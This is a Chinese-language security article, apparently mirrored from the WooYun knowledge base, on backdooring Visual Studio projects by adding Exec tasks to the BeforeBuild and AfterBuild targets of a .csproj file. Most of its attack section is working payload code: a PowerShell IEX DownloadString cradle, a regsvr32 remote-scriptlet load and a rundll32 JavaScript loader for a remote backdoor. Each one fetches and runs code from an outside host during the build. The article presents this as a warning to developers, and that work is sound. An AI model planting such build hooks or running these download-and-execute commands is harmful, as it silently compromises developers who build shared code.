Pay close attention to your download code——Visual Studio trick to run code when building

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/06/03 10:23

0x00前言


本文源於一次大膽的嘗試:

對github上某一知名的C#工程作細微改動並推薦使用者下載,使用者在毫不知情的情況下往往會在檢視原始碼後選擇編譯檔案,然而在編譯的過程中,會隱蔽執行程式碼,獲得使用者的主機許可權,細極思恐。演示如下:

Alt text

0x01 背景知識


MSBuild是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio 的新的生成平臺
MSBuild可在未安裝Visual Studio的環境中編譯.net的工程檔案

例項1:

#!xml
<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="PrintCurrentDateTime">
    <Message Text="The current date and time is: $(&#91;System.DateTime&#93;::Now)." />
  </Target>
</Project>

儲存為test.csproj
cmd下執行:

#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj

在cmd下會輸出顯示當前時間,如圖

Alt text

例項2:

#!c
using System;
class Test
{
    static void Main()
    {
        Console.WriteLine("Hello world");
    }
}

儲存為hello.cs

#!xml
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="Compile">
        <CSC Sources="hello.cs" OutputAssembly="hello.exe" />
    </Target>
</Project>

儲存為hello.csproj

hello.cs和hello.csproj放於同一目錄
cmd下執行:

#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe hello.csproj

可以編譯生成hello.exe

Alt text

0x02 構造工程(指令碼檔案)


在Visual Studio下新建一個c#工程,檢視目錄下的.csproj檔案,格式如下:

#!xml
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{11E01039-C952-4D78-A2E5-426B51788B7F}</ProjectGuid>
    <OutputType>Exe</OutputType>
    <AppDesignerFolder>Properties</AppDesignerFolder>
    <RootNamespace>ConsoleApplication3</RootNamespace>
    <AssemblyName>ConsoleApplication3</AssemblyName>
    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
    <FileAlignment>512</FileAlignment>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
    <OutputPath>bin\Debug\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="System" />
    <Reference Include="System.Core" />
    <Reference Include="System.Xml.Linq" />
    <Reference Include="System.Data.DataSetExtensions" />
    <Reference Include="Microsoft.CSharp" />
    <Reference Include="System.Data" />
    <Reference Include="System.Xml" />
  </ItemGroup>
  <ItemGroup>
    <Compile Include="Program.cs" />
    <Compile Include="Properties\AssemblyInfo.cs" />
  </ItemGroup>
  <ItemGroup>
    <None Include="App.config" />
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
       Other similar extension points exist, see Microsoft.Common.targets.
  <Target Name="BeforeBuild">
  </Target>
  <Target Name="AfterBuild">
  </Target>
  -->
</Project>

需要先了解以下基礎知識:

Project元素

專案檔案的最外層元素,它表示了一個專案的範圍。如果缺少了這一元素,MSBuild會報錯稱Target元素無法識別或不被支援。

Project元素擁有多個屬性,其中最常用到的是DefaultTargets屬性。我們都知道,在一個專案的生成過程中可能需要完成幾項不同的任務(比如編譯、單元測試、check-in到原始碼控制伺服器中等),其中每一項任務都可以用Target來表示。對於擁有多個Target的專案,你可以透過設定Project的DefaultTargets(注意是複數)屬性來指定需要執行哪(幾)個Target,如果沒有這個設定,MSBuild將只執行排在最前面的那個Target

Property元素

在專案中你肯定需要經常訪問一些資訊,例如需要建立的路徑名、最終生成的程式集名稱等。以name/value的形式新增進Property,隨後就可以以$(PropertyName)的形式訪問

Item元素

在整個專案檔案中你肯定要提供一些可被引用的輸入性資源(inputs)資訊,比如原始碼檔案、引用的程式集名稱、需要嵌入的圖示資源等。它們應該被放在Item裡,以便隨時引用

Target元素

Target表示一個需要完成的虛擬的任務單元。每個Project可以包括一個或多個Target,從而完成一系列定製的任務。你需要給每個Target設定一個Name屬性(同一Project下的兩個Target不能擁有同樣的Name)以便引用和區別

Task元素

可執行的部分,可以在Target下面放置多個Task來順序地執行相應的任務

部分元素定義引用+參考自http://www.cnblogs.com/shanyou/p/3452938.html

https://msdn.microsoft.com/en-us/library/7z253716.aspx可獲得詳細Task類的用法介紹,其中幾個特別的類值得注意:

  • Copy:複製檔案
  • Delete:刪除檔案
  • Exec:執行命令
  • MakeDir:建立檔案
  • Message:向控制檯輸出訊息

結合以上的基礎知識,我們不難理解預設.csproj檔案包含的資訊,而在.csproj檔案尾部存在一個特別的說明:

#!xml
<!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
       Other similar extension points exist, see Microsoft.Common.targets.
  <Target Name="BeforeBuild">
  </Target>
  <Target Name="AfterBuild">
  </Target>
  -->

那麼,我們能否透過修改此處來操作VS編譯檔案的過程呢?

0x03 新增後門測試


對於原始文件,首先去掉<---->的標記

1、在編譯過程中直接彈calc.exe

新增程式碼如下:

#!xml
<Target Name="AfterBuild">
    <Exec Command="calc.exe"/>
  </Target>

成功彈出計算器,build的過程卡住,手動結束calc程式,編譯成功,如圖:

Alt text

解決方法:
解決calc程式死鎖,可以透過powershell的start process非同步呼叫來執行calc.exe
指令碼內容為

#!shell
start-process calc.exe

上傳至github
使用powershell來下載執行

.csproj檔案修改為:

#!xml
<Target Name="AfterBuild">
    <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1');"/>
  </Target>

執行如圖:

Alt text

2、在編譯過程中呼叫regsvr32.exe

新增程式碼如下:

#!xml
<Target Name="AfterBuild">
    <Exec Command="regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"/>
  </Target>

使用regsvr32會在控制檯輸出報錯提示許可權不夠,但依然可以成功執行命令,如圖

Alt text

3、在編譯過程中執行JSRAT

使用rundll32

#!xml
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

兩個""中間無法再使用",所以要用&quot;來替代" 最佳化的程式碼如下:

#!xml
<Target Name="AfterBuild">
    <Exec Command="rundll32.exe javascript:&quot;\..\mshtml,RunHTMLApplication &quot;;document.write();GetObject(&quot;script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test&quot;)"/> 
</Target>

成功彈出計算器,但無法成功編譯檔案,手動結束rundll32程式,編譯成功,提示rundll32呼叫錯誤

解決方法:
寫臨時js檔案,再執行,程式碼如下:

#!xml
 <Target Name="BeforeBuild">
 <Exec Command="echo GetObject(&quot;script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test&quot;)>1.js"/> 
  </Target>
  <Target Name="AfterBuild">
<Exec Command="1.js"/> 
</Target>

演示略

0x04 實際影響


任意一個c#工程,只要編輯.csproj檔案,即可實現在編譯過程中執行任意命令。 正如本文開始的演示圖,絕大部分人從github上下載程式碼後,會選擇直接編譯,即使部分人會注意程式碼細節,也常常會忽略.csproj檔案,並且透過Visual Studio 的操作皮膚無法獲取新增的後門程式碼。

Alt text

如果別有用心的人在公開專案的.csproj檔案新增了後門程式碼,後果將不堪設想。希望本文能引起大家對此細節的注意,尤其是開發人員,編譯工程前尤其要記得檢視.**proj檔案的細節。亡羊而補牢,未為遲也。

Poc地址:
https://github.com/3gstudent/p0wnedShell-DarkVersion

0x05 補充


使用Visual Studio中的其他語言也同樣可以插入後門:
Visual C++:
- 修改.vcxproj檔案

Visual Basic:
- 修改.vbproj檔案

Visual F#:
- 修改.fsproj檔案

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章